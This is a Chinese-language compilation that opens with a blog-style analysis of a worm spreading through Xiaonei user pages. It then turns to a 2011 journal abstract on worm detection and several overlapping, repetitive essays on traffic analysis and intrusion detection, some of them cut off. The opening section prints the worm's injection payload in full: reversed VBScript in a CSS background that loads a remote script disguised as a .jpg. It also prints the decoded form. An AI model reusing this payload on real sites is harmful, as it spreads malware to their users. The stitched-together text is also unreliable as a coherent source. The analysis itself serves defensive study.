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一个不为人知的感染几百万校内网用户的蠕虫分析在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫，开始还以为是我的网页有问题，就随便打开几个人的页面查看，发现许多人的页面上也有这段代码。
<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse (")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIy BtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpir cs""(tnemelEetaerc.tnemucod=s tes")) )'>以上代码出现在日志的开头，只有查看源文件才能发现。
它将vbscript调了个头写，调回来就变成以下内容：set s=document.createElement("script")s.src=/images/xnjs.jpgdocument.getElementById("mya113").parentNode.insertBefore s,document.getElement ById("mya113")在这段脚本中它又新建了一个script，它的src指向/images/xnj s.jpg（别相信后缀），下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00（真不敢相信填充了那么多00 IE还能执行），不过用Dreamweaver打开显示正常，拷出J S。
基于网络流量自相似性的蠕虫攻击检测方法研究代昆玉;胡滨;王翔【摘要】网络蠕虫攻击是一种危害巨大且难以防御的网络攻击方式.传统的基于特征匹配的蠕虫检测方法受限于对蠕虫特征值的提取,无法检测未知类型蠕虫的攻击.在此将表征网络流量自相性的Hurst参数应用到蠕虫攻击检测.通过时Hurst参数的变化来检测未知类型蠕虫的攻击.实验表明该方法能有效检测到网络中采用主动扫描方式传播的未知类型蠕虫攻击行为.%Internet worms attack is harmful and difficult to defend.The traditional detection method based on feature matching is not suitable for detecting the attack launched by unknown worms since it requires worms'feature extraction in advance.The Hurst parameter of network flow self-similarity is applied to the detection of worms attack.The attack of the unknown worms is detected by changing the Hurst parameter.Experimental result shows that unknown worms' attacks can be detected efficiently.【期刊名称】《现代电子技术》【年(卷),期】2011(034)004【总页数】3页(P113-115)【关键词】网络蠕虫;攻击检测;网络流量;自相似性【作者】代昆玉;胡滨;王翔【作者单位】贵州大学,计算机科学与信息学院,贵州,贵阳,550025;贵州大学,计算机科学与信息学院,贵州,贵阳,550025;贵州大学,计算机科学与信息学院,贵州,贵阳,550025【正文语种】中文【中图分类】TN919-340 引言随着网络蠕虫技术的发展与Internet应用的普及，网络蠕虫已成为当今网络面临的最大威胁。
网络流量分析与入侵检测算法研究近年来，随着互联网的普及和应用的广泛化，网络安全问题成为了摆在我们面前的一道难题。
针对这一问题，网络流量分析与入侵检测算法的研究应运而生，成为了保障网络安全的重要手段。
网络流量分析是指对网络中传输的数据进行分析和研究，以了解网络的状态和特点。
而入侵检测算法则是通过分析网络流量中的异常行为和恶意攻击，识别和防止网络入侵的手段。
这两者在网络安全领域中具有重要的地位。
网络流量分析不仅可以帮助企业和组织了解自身网络的运行情况，还可以发现异常行为和安全威胁。
在大规模网络中，分析网络流量变得尤为重要。
网络流量分析可以通过监控网络中的数据传输量、数据类型和连接状态等信息，以及分析数据的传输模式和频率等来判断网络的健康状况，例如网络是否受到流量过载、数据包丢失、带宽拥塞等问题的影响。
入侵检测算法是指通过对网络流量进行分析和检测，识别和拦截恶意攻击和入侵。
随着网络攻击的普及和复杂化，传统的入侵检测方法已经不再能够有效地应对各种新型的威胁。
因此，研究者们提出了各种新的入侵检测算法，例如基于机器学习、深度学习和行为分析等方法。
这些算法通过分析网络流量中的异常行为、流量模式以及已知的攻击特征等来判断是否有入侵行为的发生，并及时采取相应的措施进行防御。
网络流量分析与入侵检测算法的研究有着重要的实际意义。
首先，它可以帮助网络管理员及时了解网络的运行状态和存在的安全威胁，以及采取相应的防御措施。
其次，它可以帮助企业和组织发现并阻止恶意攻击，保护网络资源和数据的安全。
另外，研究网络流量分析与入侵检测算法可以促进网络安全技术的不断发展和创新。
在网络流量分析与入侵检测算法的研究中，我们面临着许多挑战和问题。
首先，网络流量数据的复杂性和高维度性使得分析工作变得困难。
其次，随着大数据时代的到来，网络流量数据的规模和速度快速增加，传统的算法已经无法满足高效处理的需求。
此外，网络中的新型攻击手段和隐蔽性的威胁也给算法的研究带来了巨大的挑战。
网络流量数据挖掘与入侵检测技术研究随着互联网的快速发展，网络安全问题也日益突出。
网络入侵行为不断增多，给个人、组织乃至国家带来了巨大的安全威胁。
因此，网络流量数据挖掘与入侵检测技术的研究变得尤为重要。
网络流量数据挖掘是一种通过分析网络传输的数据包，提取有价值的信息的技术。
它可以帮助我们了解网络中的流量情况，发现异常行为，并作出相应的处置。
入侵检测技术则是在网络流量数据挖掘的基础上，通过识别和分析网络入侵行为，进行及时的报警和防御。
这两项技术对于网络安全的保护至关重要。
首先，网络流量数据挖掘技术可帮助我们识别异常流量。
通过分析网络流量数据，可以发现大规模的、异常的数据传输。
例如，在普通的网页浏览中，数据包大小和传输速率通常相对较小，而进行大规模文件下载时，则会出现大量传输的数据包。
通过对这些数据包的分析，我们可以识别出异常流量，并进行进一步的调查和处理。
其次，网络流量数据挖掘技术还可以用于检测DDoS攻击。
DDoS攻击是一种通过向目标服务器发送大量的请求，使其无法正常工作的攻击手段。
通过对网络流量数据进行挖掘，可以发现大量来自同一源IP地址的请求，以及异常的数据传输模式，从而判断是否存在DDoS攻击。
一旦发现DDoS攻击，我们可以采取相应的防御措施，降低攻击带来的影响。
此外，网络流量数据挖掘技术还可以用于识别网络蠕虫病毒。
蠕虫病毒是一种自我复制的恶意软件，可以通过网络传播，并对目标主机造成破坏。
通过对网络流量数据进行分析，可以发现大量源IP地址和目标IP地址之间的连接，以及异常的数据交换。
通过分析这些数据，我们可以识别出潜在的蠕虫病毒，并采取相应的防御措施，避免病毒的进一步传播。
然而，单纯的网络流量数据挖掘并不能完成入侵检测的任务。
为了更好地应对入侵威胁，我们还需要结合机器学习和人工智能技术，构建入侵检测系统。
机器学习可以通过对历史数据的学习和归纳，建立起数据模型，进而对未知的数据进行分类和预测。
网络流量分析与入侵检测方法研究随着互联网的快速发展，网络安全问题日益突显。
为了保护网络安全并提高网络管理的效率，网络流量分析与入侵检测成为了热门研究领域。
本文将探究网络流量分析与入侵检测方法的研究。
一、网络流量分析网络流量分析是指对通过网络传输的数据进行收集、处理和分析的过程。
网络流量分析可以帮助网络管理员了解网络的状态以及检测潜在的安全威胁。
在过去，网络流量分析主要依靠数据包捕获工具如Wireshark和Tcpdump等。
然而，随着云计算、大数据和物联网的发展，网络流量分析也面临着越来越大规模和复杂的挑战。
为了解决这些挑战，研究人员提出了一些新的网络流量分析方法。
例如，基于机器学习的方法是目前研究的热点之一。
通过对大量网络流量数据进行训练，机器学习模型可以自动学习网络流量的正常模式，并能够检测异常行为。
此外，深度学习也被引入到网络流量分析中，通过深度神经网络的复杂模型，可以更好地识别网络攻击和恶意行为。
二、入侵检测方法入侵检测是网络安全中防范恶意入侵的重要手段。
入侵检测方法根据检测对象的不同可以分为主机入侵检测系统（HIDS）和网络入侵检测系统（NIDS）。
其中，HIDS主要关注主机上的异常行为，如文件篡改和恶意代码执行等；NIDS则主要关注网络流量中的异常行为，如拒绝服务攻击和端口扫描等。
传统的入侵检测方法主要基于规则和签名的匹配。
这些方法需要事先定义好的规则集或签名库来进行匹配，这使得这些方法对新型攻击和未知威胁的检测能力有限。
为了提高入侵检测的准确性和性能，研究人员不断尝试引入新的方法。
例如，基于统计的方法可以通过分析网络流量中的统计特征来检测异常行为；基于挖掘的方法通过挖掘网络流量中的关联规则来发现隐藏的攻击行为。
三、网络流量分析与入侵检测的挑战和前景虽然网络流量分析与入侵检测方法不断发展，但仍然存在一些挑战。
首先，网络流量的增长速度和数量庞大，使得流量分析和入侵检测变得十分困难。
其次，网络攻击手段的不断更新和进化，使得传统的入侵检测方法显得力不从心。
网络流量分析与网络入侵检测技术研究随着互联网的快速发展和普及，安全问题已经成为互联网应用领域中最为关键和紧迫的问题之一。
网络攻击和入侵日益猖獗，给用户的数据和隐私安全带来了严重的威胁。
为了保护网络安全，网络流量分析和网络入侵检测技术日益受到重视。
本文将对网络流量分析和网络入侵检测技术进行综述，并探讨其研究的重要性和应用前景。
网络流量分析是指对网络数据流量进行收集、处理和分析，以获取有关网络通信的关键信息。
网络流量分析可以通过拦截和监测网络流量来识别异常流量和恶意行为，帮助网络管理员及时发现和排除网络安全威胁。
在网络流量分析中，常用的技术包括流量异常检测、基于模式匹配的流量识别和行为分析等。
流量异常检测是一种通过对网络流量进行实时监测和分析，识别异常流量的方法。
它基于统计学和机器学习等技术，通过建立正常网络流量的模型来检测网络中的异常行为。
常见的流量异常检测方法包括基于统计特征的异常检测、基于机器学习的异常检测和基于网络流量的行为分析等。
这些方法可以帮助网络管理员及时发现异常流量，阻止潜在的网络攻击。
另一种常见的网络流量分析技术是基于模式匹配的流量识别。
模式匹配是一种通过对网络流量进行匹配和比对，识别特定网络行为的方法。
在模式匹配中，常用的技术包括字符串匹配算法、正则表达式和有限状态机等。
这些技术可以帮助网络管理员检测和识别特定的网络通信行为，如恶意软件下载和命令和控制流量等。
行为分析是一种通过对网络流量进行分析和建模，识别异常和恶意行为的方法。
行为分析技术通过对网络流量中的关键特征进行统计和分析，构建网络通信的行为模型，并通过监测实时流量来识别异常行为。
常用的行为分析方法包括基于统计特征的行为分析、基于机器学习的行为分析和基于图论的行为分析等。
这些方法可以帮助网络管理员及时发现和阻止网络入侵事件，保护网络的安全和稳定。
网络入侵检测是通过对网络流量进行实时监测和分析，识别和阻止网络入侵行为的方法。
信息安全中的网络流量分析与入侵检测技术研究信息安全一直是当今社会亟需解决的重要问题之一。
随着网络技术的快速发展，网络安全问题也变得越发严峻。
在网络安全领域，网络流量分析与入侵检测技术一直是备受研究和关注的热点。
本文将重点探讨信息安全中的网络流量分析与入侵检测技术的研究现状以及未来发展方向。
网络流量分析是指对网络中各种数据包的实时监控、记录和分析，从而掌握网络中信息传输的全貌并识别异常行为。
随着网络的规模不断扩大和发展，网络流量分析技术也得到了迅速发展。
当前的网络流量分析技术主要包括深度包检测、流量统计分析、流量特征提取等方法。
深度包检测是一种针对数据包内容的详细检查方法，通过对数据包头部和载荷的深度解析，可以实现对网络通信内容的全面监控和检测。
与传统的流量分析技术相比，深度包检测技术可以更为精准地发现网络中的潜在风险和入侵行为。
然而，深度包检测技术也存在一些挑战，比如对硬件性能要求高、对数据包解析速度要求快等问题，需要不断完善和优化。
流量统计分析是一种通过对网络中的数据流量进行统计和分析，了解网络流量的变化趋势以及发现异常行为的方法。
通过对网络流量的统计分析，可以快速发现网络中的异常流量和潜在攻击活动，及时采取防范措施。
流量统计分析技术在网络安全领域具有重要的作用，可以有效提高网络安全的监测和管理水平。
流量特征提取是一种通过对网络流量数据进行特征提取和分析，识别网络中的异常行为和入侵行为的方法。
通过提取网络流量中的关键特征信息，可以实现对网络中的各种攻击行为进行准确识别和定位。
流量特征提取技术是网络入侵检测系统的核心技术之一，对于确保网络安全具有重要的意义。
除了网络流量分析技术外，入侵检测技术也是信息安全领域的重要组成部分。
入侵检测技术是指通过监控和分析网络中的各种数据流量，及时发现并响应网络中的潜在入侵行为，从而保障网络的安全性和稳定性。
当前的入侵检测技术主要包括基于签名的检测、基于行为的检测、基于机器学习的检测等方法。
网络安全中的流量分析与入侵检测方法研究随着互联网的快速发展，网络安全问题日益凸显。
攻击者通过各种方式窃取个人信息、企业机密和国家重要资料，给网络世界带来了巨大的威胁。
为了应对这些威胁，网络安全专家们不断研究和改进流量分析与入侵检测方法。
首先，流量分析是网络安全的基础。
网络中的数据流量在传输过程中留下了许多有价值的信息。
通过分析这些信息，我们可以了解网络中的活动模式、异常行为和潜在的威胁。
流量分析主要包括离线分析和实时分析两种方式。
离线分析是指对网络流量的历史数据进行分析。
通过对大量的网络数据进行统计和挖掘，我们可以发现隐藏在数据背后的规律和模式。
例如，通过分析网络数据包的长度、源IP地址和目的IP地址等信息，可以发现某个时间段内的异常流量，进而推断出是否有入侵行为发生。
离线分析的优点是可以充分利用大数据技术进行分析，但缺点是无法实时发现入侵行为。
实时分析是指对网络流量的即时数据进行分析。
通过设置监控节点和数据采集系统，能够实时获取网络中的流量信息。
实时分析主要依靠网络流量分析和数据挖掘技术。
网络流量分析可以对数据包的特征进行提取和匹配，识别出异常流量。
数据挖掘技术可以通过建立模型和算法，挖掘和分析海量数据中的有用信息。
实时分析的优点是能够及时发现入侵行为，并采取相应的防御措施，但缺点是对硬件和软件的要求较高。
其次，入侵检测方法是网络安全的关键。
入侵检测是指识别和防御网络中的入侵行为。
入侵行为通常包括未经授权的访问、异常流量和恶意代码等。
入侵检测主要分为基于特征的检测和基于异常的检测两种方式。
基于特征的检测是指通过事先定义好的规则和特征来检测入侵行为。
例如，对某种恶意代码的特征模式进行匹配，可以识别出是否存在相应的入侵行为。
基于特征的检测的优点是准确性高，但缺点是需要事先定义好规则和特征，无法应对新型的未知入侵行为。
基于异常的检测是指通过学习正常网络行为的模式，来检测出异常的流量和行为。
通过对网络流量的统计和建模，可以了解正常的流量分布情况。
网络流量分析与入侵检测技术研究在当今这个信息爆炸、网络泛滥的时代，互联网已经成为人们日常生活中不可或缺的一部分。
随着互联网的发展，安全问题也成为人们越来越关注的话题。
其中，网络流量分析与入侵检测技术，正是人们提高网络安全的重要手段之一。
一、网络流量分析网络流量分析是指对网络数据传输过程中所产生的数据流进行分析，从而对网络的性能以及网络安全和故障进行诊断和优化的一种技术。
网络流量分析可以帮助用户得到有关网络源、目的、报文大小等信息，而这些信息又可以用于网络拓扑结构的分析以及网络攻击的检测。
常见的网络流量分析工具包括Wireshark、Tcpdump等。
可以通过使用这些工具，在网络中进行数据包的抓取和分析，并从中提取出有用的信息。
二、意外入侵检测意外入侵检测，也称为网络入侵检测系统（IDS），是指通过对网络流量进行监视和分析，检测并报警恶意攻击、病毒入侵等一系列网络安全威胁的技术。
网络入侵检测可以分为主机入侵检测和网络入侵检测两种形式。
主机入侵检测主要是通过监控主机的各种系统日志，检测出主机上的恶意行为，如系统日志异常、僵尸程序、恶意代码等。
而网络入侵检测则是通过对网络流量进行深度分析，探测出网络流量中的异常流量，如DDoS、worm、virus等，进而对网络安全问题进行诊断和处理。
目前市面上的网络入侵检测软件有Snort、Suricata等。
三、流量分析技术和入侵检测技术的发展随着互联网的不断发展，网络的规模不断扩大，网络攻击的手段也越来越繁杂。
对于网络流量分析和入侵检测技术的需求也越来越迫切。
所以，网络流量分析技术和入侵检测技术也不断更新和升级，以保证网络的安全。
其中，流量分析技术和入侵检测技术的发展可以分为以下几个方向：1、机器学习技术机器学习技术是指通过数据挖掘和数据分析等手段，通过大量的实验和数据建模，最终得到一种自主学习的能力，从而实现对复杂事物的预测和分类的技术。
在网络流量分析和入侵检测中，机器学习技术可以通过对网络流量建模、特征提取、分类等方式，进行自动的网络攻击的检测，对网络安全进行实时监控和预警。
